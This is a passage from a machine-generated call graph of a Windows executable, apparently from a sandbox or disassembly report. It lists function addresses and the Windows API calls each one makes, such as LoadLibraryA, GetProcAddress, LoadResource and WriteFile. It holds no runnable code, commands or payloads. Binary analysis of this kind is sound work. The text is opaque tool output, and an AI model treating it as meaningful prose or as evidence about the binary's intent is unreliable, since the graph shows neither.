95231->95234 95232->95121 95235 b24252 95232->95235 95233->95232 95234->95232 95236 b2425c 95235->95236 95238 b24263 95235->95238 95470 b435e4 95236->95470 95239 b24272 95238->95239 95240 b24283 FreeLibrary 95238->95240 95239->95121 95240->95239 95290 b24339 95241->95290 95244 b2423c 95245 b24244 FreeLibrary 95244->95245 95246 b241bb 95244->95246 95245->95246 95248 b43499 95246->95248 95298 b434ae 95248->95298 95250 b241c8 95250->95181 95250->95182 95377 b242e4 95251->95377 95255 b242c1 FreeLibrary 95256 b241ec 95255->95256 95258 b24380 95256->95258 95257 b242b8 95257->95255 95257->95256 95259 b3f4ea 48 API calls 95258->95259 95260 b24395 95259->95260 95261 b247b7 48 API calls 95260->95261 95262 b243a1 _memcpy_s 95261->95262 95263 b243dc 95262->95263 95265 b244d1 95262->95265 95266 b24499 95262->95266 95264 b24950 57 API calls 95263->95264 95274 b243e5 95264->95274 95396 b6c750 93 API calls 95265->95396 95385 b2406b CreateStreamOnHGlobal 95266->95385 95269 b244ed 64 API calls 95269->95274 95271 b24479 95271->95189 95272 b94ed7 95273 b24517 83 API calls 95272->95273 95275 b94eeb 95273->95275 95274->95269 95274->95271 95274->95272 95391 b24517 95274->95391 95276 b244ed 64 API calls 95275->95276 95276->95271 95278 b94fc0 95277->95278 95279 b244ff 95277->95279 95420 b4381e 95279->95420 95282 b6bf5a 95440 b6bdb4 95282->95440 95284 b6bf70 95284->95197 95286 b95002 95285->95286 95287 b2495f 95285->95287 95445 b43e65 95287->95445 95289 b24967 95289->95199 95294 b2434b 95290->95294 95293 b24321 LoadLibraryA GetProcAddress 95293->95244 95295 b2422f 95294->95295 95296 b24354 LoadLibraryA 95294->95296 95295->95244 95295->95293 95296->95295 95297 b24365 GetProcAddress 95296->95297 95297->95295 95301 b434ba ___lock_fhandle 95298->95301 95299 b434cd 95346 b47c0e 47 API calls __getptd_noexit 95299->95346 95301->95299 95303 b434fe 95301->95303 95302 b434d2 95347 b46e10 8 API calls __fclose_nolock 95302->95347 95317 b4e4c8 95303->95317 95306 b43503 95307 b4350c 95306->95307 95308 b43519 95306->95308 95348 b47c0e 47 API calls __getptd_noexit 95307->95348 95309 b43543 95308->95309 95310 b43523 95308->95310 95331 b4e5e0 95309->95331 95349 b47c0e 47 API calls __getptd_noexit 95310->95349 95314 b434dd ___lock_fhandle @_EH4_CallFilterFunc@8 95314->95250 95318 b4e4d4 ___lock_fhandle 95317->95318 95319 b47cf4 __lock 47 API calls 95318->95319 95329 b4e4e2 95319->95329 95320 b4e552 95351 b4e5d7 95320->95351 95321 b4e559 95356 b469d0 47 API calls _W_store_winword 95321->95356 95324 b4e560 95324->95320 95326 b4e56f InitializeCriticalSectionAndSpinCount EnterCriticalSection 95324->95326 95325 b4e5cc ___lock_fhandle 95325->95306 95326->95320 95327 b47d7c __mtinitlocknum 47 API calls 95327->95329 95329->95320 95329->95321 95329->95327 95354 b44e5b 48 API calls __lock 95329->95354 95355 b44ec5 LeaveCriticalSection LeaveCriticalSection _doexit 95329->95355 95340 b4e600 __wopenfile 95331->95340 95332 b4e61a 95361 b47c0e 47 API calls __getptd_noexit 95332->95361 95333 b4e7d5 95333->95332 95337 b4e838 95333->95337 95335 b4e61f 95362 b46e10 8 API calls __fclose_nolock 95335->95362 95358 b563c9 95337->95358 95338 b4354e 95350 b43570 LeaveCriticalSection LeaveCriticalSection _fprintf 95338->95350 95340->95332 95340->95333 95363 b4185b 59 API calls 3 library calls 95340->95363 95342 b4e7ce 95342->95333 95364 b4185b 59 API calls 3 library calls 95342->95364 95344 b4e7ed 95344->95333 95365 b4185b 59 API calls 3 library calls 95344->95365 95346->95302 95347->95314 95348->95314 95349->95314 95350->95314 95357 b47e58 LeaveCriticalSection 95351->95357 95353 b4e5de 95353->95325 95354->95329 95355->95329 95356->95324 95357->95353 95366 b55bb1 95358->95366 95360 b563e2 95360->95338 95361->95335 95362->95338 95363->95342 95364->95344 95365->95333 95367 b55bbd ___lock_fhandle 95366->95367 95368 b55bcf 95367->95368 95371 b55c06 95367->95371 95369 b47c0e __free_osfhnd 47 API calls 95368->95369 95370 b55bd4 95369->95370 95373 b46e10 __fclose_nolock 8 API calls 95370->95373 95372 b55c78 __wsopen_helper 110 API calls 95371->95372 95374 b55c23 95372->95374 95376 b55bde ___lock_fhandle 95373->95376 95375 b55c4c __wsopen_helper LeaveCriticalSection 95374->95375 95375->95376 95376->95360 95381 b242f6 95377->95381 95380 b242cc LoadLibraryA GetProcAddress 95380->95257 95382 b242aa 95381->95382 95383 b242ff LoadLibraryA 95381->95383 95382->95257 95382->95380 95383->95382 95384 b24310 GetProcAddress 95383->95384 95384->95382 95386 b240a2 95385->95386 95387 b24085 FindResourceExW 95385->95387 95386->95263 95387->95386 95388 b94f16 LoadResource 95387->95388 95388->95386 95389 b94f2b SizeofResource 95388->95389 95389->95386 95390 b94f3f LockResource 95389->95390 95390->95386 95392 b24526 95391->95392 95393 b94fe0 95391->95393 95397 b43a8d 95392->95397 95395 b24534 95395->95274 95396->95263 95398 b43a99 ___lock_fhandle 95397->95398 95399 b43aa7 95398->95399 95401 b43acd 95398->95401 95410 b47c0e 47 API calls __getptd_noexit 95399->95410 95412 b44e1c 95401->95412 95402 b43aac 95411 b46e10 8 API calls __fclose_nolock 95402->95411 95405 b43ad3 95418 b439fe 81 API calls 5 library calls 95405->95418 95407 b43ae2 95419 b43b04 LeaveCriticalSection LeaveCriticalSection _fprintf 95407->95419 95409 b43ab7 ___lock_fhandle 95409->95395 95410->95402 95411->95409 95413 b44e2c 95412->95413 95414 b44e4e EnterCriticalSection 95412->95414 95413->95414 95415 b44e34 95413->95415 95416 b44e44 95414->95416 95417 b47cf4 __lock 47 API calls 95415->95417 95416->95405 95417->95416 95418->95407 95419->95409 95423 b43839 95420->95423 95422 b24510 95422->95282 95424 b43845 ___lock_fhandle 95423->95424 95425 b43880 ___lock_fhandle 95424->95425 95426 b43888 95424->95426 95427 b4385b _memset 95424->95427 95425->95422 95428 b44e1c __lock_file 48 API calls 95426->95428 95436 b47c0e 47 API calls __getptd_noexit 95427->95436 95430 b4388e 95428->95430 95438 b4365b 62 API calls 5 library calls 95430->95438 95431 b43875 95437 b46e10 8 API calls __fclose_nolock 95431->95437 95434 b438a4 95439 b438c2 LeaveCriticalSection LeaveCriticalSection _fprintf 95434->95439 95436->95431 95437->95425 95438->95434 95439->95425 95443 b4344a GetSystemTimeAsFileTime 95440->95443 95442 b6bdc3 95442->95284 95444 b43478 __aulldiv 95443->95444 95444->95442 95446 b43e71 ___lock_fhandle 95445->95446 95447 b43e94 95446->95447 95448 b43e7f 95446->95448 95450 b44e1c __lock_file 48 API calls 95447->95450 95459 b47c0e 47 API calls __getptd_noexit 95448->95459 95452 b43e9a 95450->95452 95451 b43e84 95460 b46e10 8 API calls __fclose_nolock 95451->95460 95461 b43b0c 55 API calls 6 library calls 95452->95461 95455 b43e8f ___lock_fhandle 95455->95289 95456 b43ea5 95462 b43ec5 LeaveCriticalSection LeaveCriticalSection _fprintf 95456->95462 95458 b43eb7 95458->95455 95459->95451 95460->95455 95461->95456 95462->95458 95466 b6c581 __tzset_nolock _wcscmp 95463->95466 95464 b244ed 64 API calls 95464->95466 95465 b6bf5a GetSystemTimeAsFileTime 95465->95466 95466->95464 95466->95465 95467 b6c417 95466->95467 95468 b24517 83 API calls 95466->95468 95467->95205 95467->95232 95468->95466 95469->95231 95471 b435f0 ___lock_fhandle 95470->95471 95472 b43604 95471->95472 95473 b4361c 95471->95473 95499 b47c0e 47 API calls __getptd_noexit 95472->95499 95475 b44e1c __lock_file 48 API calls 95473->95475 95480 b43614 ___lock_fhandle 95473->95480 95477 b4362e 95475->95477 95476 b43609 95500 b46e10 8 API calls __fclose_nolock 95476->95500 95483 b43578 95477->95483 95480->95238 95484 b43587 95483->95484 95485 b4359b 95483->95485 95542 b47c0e 47 API calls __getptd_noexit 95484->95542 95487 b43597 95485->95487 95502 b42c84 95485->95502 95501 b43653 LeaveCriticalSection LeaveCriticalSection _fprintf 95487->95501 95488 b4358c 95543 b46e10 8 API calls __fclose_nolock 95488->95543 95495 b435b5 95519 b4e9d2 95495->95519 95497 b435bb 95497->95487 95498 b41c9d _free 47 API calls 95497->95498 95498->95487 95499->95476 95500->95480 95501->95480 95503 b42cbb 95502->95503 95504 b42c97 95502->95504 95508 b4eb36 95503->95508 95504->95503 95505 b42933 __fclose_nolock 47 API calls 95504->95505 95506 b42cb4 95505->95506 95544 b4af61 95506->95544 95509 b435af 95508->95509 95510 b4eb43 95508->95510 95512 b42933 95509->95512 95510->95509 95511 b41c9d _free 47 API calls 95510->95511 95511->95509 95513 b42952 95512->95513 95514 b4293d 95512->95514 95513->95495 95650 b47c0e 47 API calls __getptd_noexit 95514->95650 95516 b42942 95651 b46e10 8 API calls __fclose_nolock 95516->95651 95518 b4294d 95518->95495 95520 b4e9de ___lock_fhandle 95519->95520 95521 b4e9e6 95520->95521 95522 b4e9fe 95520->95522 95667 b47bda 47 API calls __getptd_noexit 95521->95667 95524 b4ea7b 95522->95524 95527 b4ea28 95522->95527 95671 b47bda 47 API calls __getptd_noexit 95524->95671 95525 b4e9eb 95668 b47c0e 47 API calls __getptd_noexit 95525->95668 95530 b4a8ed ___lock_fhandle 49 API calls 95527->95530 95529 b4ea80 95672 b47c0e 47 API calls __getptd_noexit 95529->95672 95533 b4ea2e 95530->95533 95532 b4ea88 95673 b46e10 8 API calls __fclose_nolock 95532->95673 95535 b4ea41 95533->95535 95536 b4ea4c 95533->95536 95652 b4ea9c 95535->95652 95669 b47c0e 47 API calls __getptd_noexit 95536->95669 95538 b4e9f3 ___lock_fhandle 95538->95497 95540 b4ea47 95670 b4ea73 LeaveCriticalSection __unlock_fhandle 95540->95670 95542->95488 95543->95487 95545 b4af6d ___lock_fhandle 95544->95545 95546 b4af75 95545->95546 95547 b4af8d 95545->95547 95642 b47bda 47 API calls __getptd_noexit 95546->95642 95549 b4b022 95547->95549 95553 b4afbf 95547->95553 95647 b47bda 47 API calls __getptd_noexit 95549->95647 95550 b4af7a 95643 b47c0e 47 API calls __getptd_noexit 95550->95643 95569 b4a8ed 95553->95569 95554 b4b027 95648 b47c0e 47 API calls __getptd_noexit 95554->95648 95555 b4af82 ___lock_fhandle 95555->95503 95558 b4afc5 95560 b4afd8 95558->95560 95561 b4afeb 95558->95561 95559 b4b02f 95649 b46e10 8 API calls __fclose_nolock 95559->95649 95578 b4b043 95560->95578 95644 b47c0e 47 API calls __getptd_noexit 95561->95644 95565 b4afe4 95646 b4b01a LeaveCriticalSection __unlock_fhandle 95565->95646 95566 b4aff0 95645 b47bda 47 API calls __getptd_noexit 95566->95645 95570 b4a8f9 ___lock_fhandle 95569->95570 95571 b4a946 EnterCriticalSection 95570->95571 95572 b47cf4 __lock 47 API calls 95570->95572 95573 b4a96c ___lock_fhandle 95571->95573 95574 b4a91d 95572->95574 95573->95558 95575 b4a928 InitializeCriticalSectionAndSpinCount 95574->95575 95576 b4a93a 95574->95576 95575->95576 95577 b4a970 ___lock_fhandle LeaveCriticalSection 95576->95577 95577->95571 95579 b4b050 __ftell_nolock 95578->95579 95580 b4b082 95579->95580 95581 b4b0ac 95579->95581 95582 b4b08d 95579->95582 95583 b4a70c __call_reportfault 6 API calls 95580->95583 95587 b4b105 95581->95587 95588 b4b0e9 95581->95588 95584 b47bda __free_osfhnd 47 API calls 95582->95584 95585 b4b86b 95583->95585 95586 b4b092 95584->95586 95585->95565 95590 b47c0e __free_osfhnd 47 API calls 95586->95590 95591 b4b11c 95587->95591 95594 b4f82f __lseeki64_nolock 49 API calls 95587->95594 95589 b47bda __free_osfhnd 47 API calls 95588->95589 95592 b4b0ee 95589->95592 95593 b4b099 95590->95593 95595 b53bf2 __flswbuf 47 API calls 95591->95595 95596 b47c0e __free_osfhnd 47 API calls 95592->95596 95597 b46e10 __fclose_nolock 8 API calls 95593->95597 95594->95591 95598 b4b12a 95595->95598 95599 b4b0f5 95596->95599 95597->95580 95600 b4b44b 95598->95600 95604 b47a0d __beginthread 47 API calls 95598->95604 95603 b46e10 __fclose_nolock 8 API calls 95599->95603 95601 b4b463 95600->95601 95602 b4b7b8 WriteFile 95600->95602 95605 b4b55a 95601->95605 95609 b4b479 95601->95609 95606 b4b7e1 GetLastError 95602->95606 95615 b4b410 95602->95615 95603->95580 95607 b4b150 GetConsoleMode 95604->95607 95614 b4b565 95605->95614 95617 b4b663 95605->95617 95606->95615 95607->95600 95608 b4b189 95607->95608 95608->95600 95611 b4b199 GetConsoleCP 95608->95611 95610 b4b81b 95609->95610 95612 b4b4e9 WriteFile 95609->95612 95610->95580 95613 b47c0e __free_osfhnd 47 API calls 95610->95613 95611->95615 95637 b4b1c2 95611->95637 95612->95606 95616 b4b526 95612->95616 95618 b4b843 95613->95618 95614->95610 95620 b4b5de WriteFile 95614->95620 95615->95580 95615->95610 95619 b4b7f7 95615->95619 95616->95609 95616->95615 95628 b4b555 95616->95628 95617->95610 95621 b4b6d8 WideCharToMultiByte 95617->95621 95622 b47bda __free_osfhnd 47 API calls 95618->95622 95623 b4b812 95619->95623 95624 b4b7fe 95619->95624 95620->95606 95626 b4b62d 95620->95626 95621->95606 95634 b4b71f 95621->95634 95622->95580 95627 b47bed __dosmaperr 47 API calls 95623->95627 95625 b47c0e __free_osfhnd 47 API calls 95624->95625 95630 b4b803 95625->95630 95626->95614 95626->95615 95626->95628 95627->95580 95628->95615 95629 b4b727 WriteFile 95631 b4b77a GetLastError 95629->95631 95629->95634 95632 b47bda __free_osfhnd 47 API calls 95630->95632 95631->95634 95632->95580 95633 b41688 __chsize_nolock 57 API calls 95633->95637 95634->95615 95634->95617 95634->95628 95634->95629 95635 b540f7 59 API calls __chsize_nolock 95635->95637 95636 b55884 WriteConsoleW CreateFileW __chsize_nolock 95639 b4b2f6 95636->95639 95637->95615 95637->95633 95637->95635 95638 b4b28f WideCharToMultiByte 95637->95638 95637->95639 95638->95615 95640 b4b2ca WriteFile 95638->95640 95639->95606 95639->95615 95639->95636 95639->95637 95641 b4b321 WriteFile 95639->95641 95640->95606 95640->95639 95641->95606 95641->95639 95642->95550 95643->95555 95644->95566 95645->95565 95646->95555 95647->95554 95648->95559 95649->95555 95650->95516 95651->95518 95674 b4aba4 95652->95674 95654 b4eb00 95687 b4ab1e 48 API calls __free_osfhnd 95654->95687 95655 b4eaaa 95655->95654 95656 b4eade 95655->95656 95659 b4aba4 __lseek_nolock 47 API calls 95655->95659 95656->95654 95660 b4aba4 __lseek_nolock 47 API calls 95656->95660 95658 b4eb08 95661 b4eb2a 95658->95661 95688 b47bed 47 API calls 2 library calls 95658->95688 95662 b4ead5 95659->95662 95663 b4eaea CloseHandle 95660->95663 95661->95540 95665 b4aba4 __lseek_nolock 47 API calls 95662->95665 95663->95654 95666 b4eaf6 GetLastError 95663->95666 95665->95656 95666->95654 95667->95525 95668->95538 95669->95540 95670->95538 95671->95529 95672->95532 95673->95538 95675 b4abc4 95674->95675 95676 b4abaf 95674->95676 95678 b47bda __free_osfhnd 47 API calls 95675->95678 95680 b4abe9 95675->95680 95677 b47bda __free_osfhnd 47 API calls 95676->95677 95679 b4abb4 95677->95679 95681 b4abf3 95678->95681 95682 b47c0e __free_osfhnd 47 API calls 95679->95682 95680->95655 95683 b47c0e __free_osfhnd 47 API calls 95681->95683 95684 b4abbc 95682->95684 95685 b4abfb 95683->95685 95684->95655 95686 b46e10 __fclose_nolock 8 API calls 95685->95686 95686->95684 95687->95658 95688->95661 95689->95139 95690->95139 95691->95133 95692->95153 95693->95155 95694->95151 95695->95167 95696->95161 95698 b4f8a0 __ftell_nolock 95697->95698 95699 b240b4 GetLongPathNameW 95698->95699 95700 b26a63 48 API calls 95699->95700 95701 b240dc 95700->95701 95702 b249a0 95701->95702 95703 b2d7f7 48 API calls 95702->95703 95704 b249b2 95703->95704 95705 b2660f 49 API calls 95704->95705 95706 b249bd 95705->95706 95707 b249c8 95706->95707 95708 b92e35 95706->95708 95710 b264cf 48 API calls 95707->95710 95713 b92e4f 95708->95713 95755 b3d35e 60 API calls 95708->95755 95711 b249d4 95710->95711 95749 b228a6 95711->95749 95714 b249e7 Mailbox 95714->94997 95716 b241a9 136 API calls 95715->95716 95717 b2415e 95716->95717 95718 b93489 95717->95718 95719 b241a9 136 API calls 95717->95719 95720 b6c396 122 API calls 95718->95720 95721 b24172 95719->95721 95722 b9349e 95720->95722 95721->95718 95723 b2417a 95721->95723 95724 b934bf 95722->95724 95725 b934a2 95722->95725 95728 b934aa 95723->95728 95729 b24186 95723->95729 95727 b3f4ea 48 API calls 95724->95727 95726 b24252 84 API calls 95725->95726 95726->95728 95748 b93504 Mailbox 95727->95748 95850 b66b49 87 API calls _wprintf 95728->95850 95756 b2c833 95729->95756 95732 b934b8 95732->95724 95734 b936b4 95735 b41c9d _free 47 API calls 95734->95735 95736 b936bc 95735->95736 95737 b24252 84 API calls 95736->95737 95742 b936c5 95737->95742 95738 b2ba85 48 API calls 95738->95748 95741 b41c9d _free 47 API calls 95741->95742 95742->95741 95744 b24252 84 API calls 95742->95744 95854 b625b5 86 API calls 4 library calls 95742->95854 95744->95742 95745 b2ce19 48 API calls 95745->95748 95748->95734 95748->95738 95748->95742 95748->95745 95844 b24dd9 95748->95844 95851 b62551 48 API calls _memcpy_s 95748->95851 95852 b62472 60 API calls 2 library calls 95748->95852 95853 b69c12 48 API calls 95748->95853 95750 b228b8 95749->95750 95754 b228d7 _memcpy_s 95749->95754 95752 b3f4ea 48 API calls 95750->95752 95751 b3f4ea 48 API calls 95753 b228ee 95751->95753 95752->95754 95753->95714 95754->95751 95755->95708 95757 b2c843 __ftell_nolock 95756->95757 95758 b2c860 95757->95758 95759 b93095 95757->95759 95860 b248ba 49 API calls 95758->95860 95879 b625b5 86 API calls 4 library calls 95759->95879 95762 b930a8 95880 b625b5 86 API calls 4 library calls 95762->95880 95763 b2c882 95861 b24550 56 API calls 95763->95861 95765 b2c897 95765->95762 95767 b2c89f 95765->95767 95769 b2d7f7 48 API calls 95767->95769 95768 b930c4 95797 b2c90c 95768->95797 95770 b2c8ab 95769->95770 95862 b3e968 49 API calls __ftell_nolock 95770->95862 95772 b2c91a 95865 b41dfc 95772->95865 95773 b930d7 95776 b24907 CloseHandle 95773->95776 95774 b2c8b7 95777 b2d7f7 48 API calls 95774->95777 95779 b930e3 95776->95779 95778 b2c8c3 95777->95778 95780 b2660f 49 API calls 95778->95780 95781 b241a9 136 API calls 95779->95781 95782 b2c8d1 95780->95782 95785 b9310d 95781->95785 95863 b3eb66 SetFilePointerEx ReadFile 95782->95863 95784 b2c943 _wcscat _wcscpy 95790 b2c96d SetCurrentDirectoryW 95784->95790 95786 b93136 95785->95786 95787 b6c396 122 API calls 95785->95787 95881 b625b5 86 API calls 4 library calls 95786->95881 95791 b93129 95787->95791 95788 b2c8fd 95864 b246ce SetFilePointerEx SetFilePointerEx 95788->95864 95794 b3f4ea 48 API calls 95790->95794 95795 b93131 95791->95795 95796 b93152 95791->95796 95793 b9314d 95828 b2cad1 Mailbox 95793->95828 95798 b2c988 95794->95798 95800 b24252 84 API calls 95795->95800 95801 b24252 84 API calls 95796->95801 95797->95772 95797->95773 95799 b247b7 48 API calls 95798->95799 95831 b2c993 Mailbox __wsetenvp 95799->95831 95800->95786 95802 b93157 95801->95802 95803 b3f4ea 48 API calls 95802->95803 95810 b93194 95803->95810 95804 b2ca9d 95875 b24907 95804->95875 95808 b2caa9 SetCurrentDirectoryW 95808->95828 95809 b23d98 95809->94870 95809->94893 95812 b2ba85 48 API calls 95810->95812 95841 b931dd Mailbox 95812->95841 95814 b933ce 95886 b69b72 48 API calls 95814->95886 95815 b93467 95890 b625b5 86 API calls 4 library calls 95815->95890 95819 b93480 95819->95804 95820 b933f0 95887 b829e8 48 API calls _memcpy_s 95820->95887 95822 b933fd 95825 b41c9d _free 47 API calls 95822->95825 95824 b9345f 95889 b6240b 48 API calls 3 library calls 95824->95889 95825->95828 95826 b2ce19 48 API calls 95826->95831 95855 b248dd 95828->95855 95829 b2ba85 48 API calls 95829->95841 95831->95804 95831->95815 95831->95824 95831->95826 95868 b2b337 56 API calls _wcscpy 95831->95868 95869 b3c258 GetStringTypeW 95831->95869 95870 b2cb93 59 API calls __wcsnicmp 95831->95870 95871 b2cb5a GetStringTypeW __wsetenvp 95831->95871 95872 b416d0 GetStringTypeW __wtof_l 95831->95872 95873 b2cc24 162 API calls 3 library calls 95831->95873 95874 b3c682 48 API calls 95831->95874 95835 b2ce19 48 API calls 95835->95841 95838 b93420 95888 b625b5 86 API calls 4 library calls 95838->95888 95840 b93439 95842 b41c9d _free 47 API calls 95840->95842 95841->95814 95841->95829 95841->95835 95841->95838 95882 b62551 48 API calls _memcpy_s 95841->95882 95883 b62472 60 API calls 2 library calls 95841->95883 95884 b69c12 48 API calls 95841->95884 95885 b3c682 48 API calls 95841->95885 95843 b9344c 95842->95843 95843->95828 95845 b24dec 95844->95845 95848 b24e9a 95844->95848 95846 b3f4ea 48 API calls 95845->95846 95849 b24e1e 95845->95849 95846->95849 95847 b3f4ea 48 API calls 95847->95849 95848->95748 95849->95847 95849->95848 95850->95732 95851->95748 95852->95748 95853->95748 95854->95742 95856 b24907 CloseHandle 95855->95856 95857 b248e5 Mailbox 95856->95857 95858 b24907 CloseHandle 95857->95858 95859 b248fc 95858->95859 95859->95809 95860->95763 95861->95765 95862->95774 95863->95788 95864->95797 95891 b41e46 95865->95891 95868->95831 95869->95831 95870->95831 95871->95831 95872->95831 95873->95831 95874->95831 95876 b24920 95875->95876 95877 b24911 95875->95877 95876->95877 95878 b24925 CloseHandle 95876->95878 95877->95808 95878->95877 95879->95762 95880->95768 95881->95793 95882->95841 95883->95841 95884->95841 95885->95841 95886->95820 95887->95822 95888->95840 95889->95815 95890->95819 95892 b41e61 95891->95892 95895 b41e55 95891->95895 95915 b47c0e 47 API calls __getptd_noexit 95892->95915 95894 b42019 95897 b41e41 95894->95897 95916 b46e10 8 API calls __fclose_nolock 95894->95916 95895->95892 95903 b41ed4 95895->95903 95910 b49d6b 47 API calls 2 library calls 95895->95910 95897->95784 95899 b41fa0 95899->95892 95899->95897 95902 b41fb0 95899->95902 95900 b41f5f 95900->95892 95901 b41f7b 95900->95901 95912 b49d6b 47 API calls 2 library calls 95900->95912 95901->95892 95901->95897 95906 b41f91 95901->95906 95914 b49d6b 47 API calls 2 library calls 95902->95914 95903->95892 95909 b41f41 95903->95909 95911 b49d6b 47 API calls 2 library calls 95903->95911 95913 b49d6b 47 API calls 2 library calls 95906->95913 95909->95899 95909->95900 95910->95903 95911->95909 95912->95901 95913->95897 95914->95897 95915->95894 95916->95897 95918 b24d94 95917->95918 95919 b24c8b 95917->95919 95918->95003 95919->95918 95920 b3f4ea 48 API calls 95919->95920 95921 b24cb2 95920->95921 95922 b3f4ea 48 API calls 95921->95922 95923 b24d22 95922->95923 95923->95918 95926 b24dd9 48 API calls 95923->95926 95927 b2ba85 48 API calls 95923->95927 95930 b2b470 95923->95930 95958 b69af1 48 API calls 95923->95958 95926->95923 95927->95923 95928->95006 95929->95008 95959 b26b0f 95930->95959 95932 b2b69b 95933 b2ba85 48 API calls 95932->95933 95934 b2b6b5 Mailbox 95933->95934 95934->95923 95937 b9397b 95976 b626bc 88 API calls 4 library calls 95937->95976 95940 b2b9e4 95977 b626bc 88 API calls 4 library calls 95940->95977 95941 b93973 95941->95934 95943 b2ba85 48 API calls 95951 b2b495 95943->95951 95945 b2bcce 48 API calls 95945->95951 95946 b93989 95947 b2ba85 48 API calls 95946->95947 95947->95941 95948 b93909 95950 b26b4a 48 API calls 95948->95950 95949 b2bb85 48 API calls 95949->95951 95953 b93914 95950->95953 95951->95932 95951->95937 95951->95940 95951->95943 95951->95945 95951->95948 95951->95949 95954 b2bdfa 48 API calls 95951->95954 95957 b93939 _memcpy_s 95951->95957 95964 b2c413 59 API calls 95951->95964 95965 b2bc74 48 API calls 95951->95965 95966 b2c6a5 49 API calls 95951->95966 95967 b2c799 95951->95967 95956 b3f4ea 48 API calls 95953->95956 95955 b2b66c CharUpperBuffW 95954->95955 95955->95951 95956->95957 95975 b626bc 88 API calls 4 library calls 95957->95975 95958->95923 95960 b3f4ea 48 API calls 95959->95960 95961 b26b34 95960->95961 95962 b26b4a 48 API calls 95961->95962 95963 b26b43 95962->95963 95963->95951 95964->95951 95965->95951 95966->95951 95968 b91f17 95967->95968 95971 b2c7b0 95967->95971 95969 b26b4a 48 API calls 95968->95969 95970 b91f21 95969->95970 95972 b3f4ea 48 API calls 95970->95972 95973 b3ee75 48 API calls 95971->95973 95974 b2c7bd _memcpy_s 95971->95974 95972->95974 95973->95974 95974->95951 95974->95974 95975->95941 95976->95946 95977->95941 95979 b9418d EnumResourceNamesW 95978->95979 95980 b2403c LoadImageW 95978->95980 95981 b23ee1 RegisterClassExW 95979->95981 95980->95981 95982 b23f53 7 API calls 95981->95982 95982->95022 95984 b24c44 95983->95984 95985 b93c33 95983->95985 95984->95028 96009 b65819 61 API calls _W_store_winword 95984->96009 95985->95984 95986 b93c3c DestroyIcon 95985->95986 95986->95984 95988 b251cb 95987->95988 96008 b252a2 Mailbox 95987->96008 95989 b26b0f 48 API calls 95988->95989 95990 b251d9 95989->95990 95991 b251e6 95990->95991 95992 b93ca1 LoadStringW 95990->95992 95993 b26a63 48 API calls 95991->95993 95995 b93cbb 95992->95995 95994 b251fb 95993->95994 95994->95995 95997 b2520c 95994->95997 95996 b2510d 48 API calls 95995->95996 96002 b93cc5 95996->96002 95999 b252a7 95997->95999 96003 b2518c 48 API calls 96002->96003 96004 b25220 _memset _wcscpy 96002->96004 96008->95033 96009->95028 96011 b2ef2f 96010->96011 96012 b2ef1d 96010->96012 96176 b6cc5c 86 API calls 4 library calls 96011->96176 96175 b2e3b0 335 API calls 2 library calls 96012->96175 96014 b2ef26 96014->95068 96016 b986f9 96016->96016 96018 b2f130 96017->96018 96020 b2fe30 335 API calls 96018->96020 96024 b2f199 96018->96024 96019 b2f3dd 96023 b987c8 96019->96023 96033 b2f3f2 96019->96033 96065 b2f431 Mailbox 96019->96065 96022 b98728 96020->96022 96021 b2f595 96028 b2d7f7 48 API calls 96021->96028 96021->96065 96022->96024 96178 b6cc5c 86 API calls 4 library calls 96022->96178 96181 b6cc5c 86 API calls 4 library calls 96023->96181 96024->96019 96024->96021 96030 b2d7f7 48 API calls 96024->96030 96061 b2f229 96024->96061 96025 b2fe30 335 API calls 96025->96065 96029 b987a3 96028->96029 96180 b40f0a 52 API calls __cinit 96029->96180 96035 b98772 96030->96035 96031 b6cc5c 86 API calls 96031->96065 96041 b2f418 96033->96041 96182 b69af1 48 API calls 96033->96182 96034 b98b1b 96050 b98b2c 96034->96050 96051 b98bcf 96034->96051 96179 b40f0a 52 API calls __cinit 96035->96179 96036 b2d6e9 55 API calls 96036->96065 96038 b2f770 96044 b98a45 96038->96044 96060 b2f77a 96038->96060 96040 b98c53 96196 b6cc5c 86 API calls 4 library calls 96040->96196 96041->96034 96062 b2f6aa 96041->96062 96041->96065 96042 b98810 96183 b7eef8 335 API calls 96042->96183 96043 b2fe30 335 API calls 96043->96062 96188 b3c1af 48 API calls 96044->96188 96045 b98b7e 96191 b7e40a 335 API calls Mailbox 96045->96191 96190 b7f5ee 335 API calls 96050->96190 96193 b6cc5c 86 API calls 4 library calls 96051->96193 96052 b98beb 96194 b7bdbd 335 API calls Mailbox 96052->96194 96055 b31b90 48 API calls 96055->96065 96057 b31b90 48 API calls 96057->96065 96059 b98c00 96081 b2f537 Mailbox 96059->96081 96195 b6cc5c 86 API calls 4 library calls 96059->96195 96060->96057 96061->96019 96061->96021 96061->96041 96061->96065 96062->96038 96062->96043 96062->96065 96066 b2fce0 96062->96066 96062->96081 96064 b98823 96064->96041 96067 b9884b 96064->96067 96065->96025 96065->96031 96065->96036 96065->96040 96065->96045 96065->96052 96065->96055 96065->96066 96065->96081 96177 b2dd47 48 API calls _memcpy_s 96065->96177 96189 b597ed InterlockedDecrement 96065->96189 96197 b3c1af 48 API calls 96065->96197 96066->96081 96192 b6cc5c 86 API calls 4 library calls 96066->96192 96184 b7ccdc 48 API calls 96067->96184 96071 b98857 96081->95068 96083 b34637 96082->96083 96084 b3479f 96082->96084 96085 b34643 96083->96085 96086 b96e05 96083->96086 96087 b2ce19 48 API calls 96084->96087 96251 b34300 335 API calls _memcpy_s 96085->96251 96252 b7e822 96086->96252 96094 b346e4 Mailbox 96087->96094 96090 b96e11 96092 b34739 Mailbox 96090->96092 96292 b6cc5c 86 API calls 4 library calls 96090->96292 96092->95068 96093 b34659 96093->96090 96093->96092 96093->96094 96198 b6fa0c 96094->96198 96239 b76ff0 96094->96239 96248 b66524 96094->96248 96099 b3e253 96098->96099 96100 b9df42 96098->96100 96099->95068 96101 b9df77 96100->96101 96102 b9df59 TranslateAcceleratorW 96100->96102 96102->96099 96104 b3dca3 96103->96104 96107 b3dc71 96103->96107 96104->95068 96105 b3dc96 IsDialogMessageW 96105->96104 96105->96107 96106 b9dd1d GetClassLongW 96106->96105 96106->96107 96107->96104 96107->96105 96107->96106 96108->95068 96406 b2bd30 96109->96406 96111 b33267 96131 b33313 _memcpy_s Mailbox 96111->96131 96418 b3c36b 86 API calls 96111->96418 96112 b6cc5c 86 API calls 96112->96131 96114 b3c3c3 48 API calls 96114->96131 96117 b2fe30 335 API calls 96117->96131 96118 b2d645 53 API calls 96118->96131 96121 b2d6e9 55 API calls 96121->96131 96124 b3f4ea 48 API calls 96124->96131 96128 b2e8d0 335 API calls 96128->96131 96129 b3c2d6 48 API calls 96129->96131 96130 b26eed 48 API calls 96130->96131 96131->96112 96131->96114 96131->96117 96131->96118 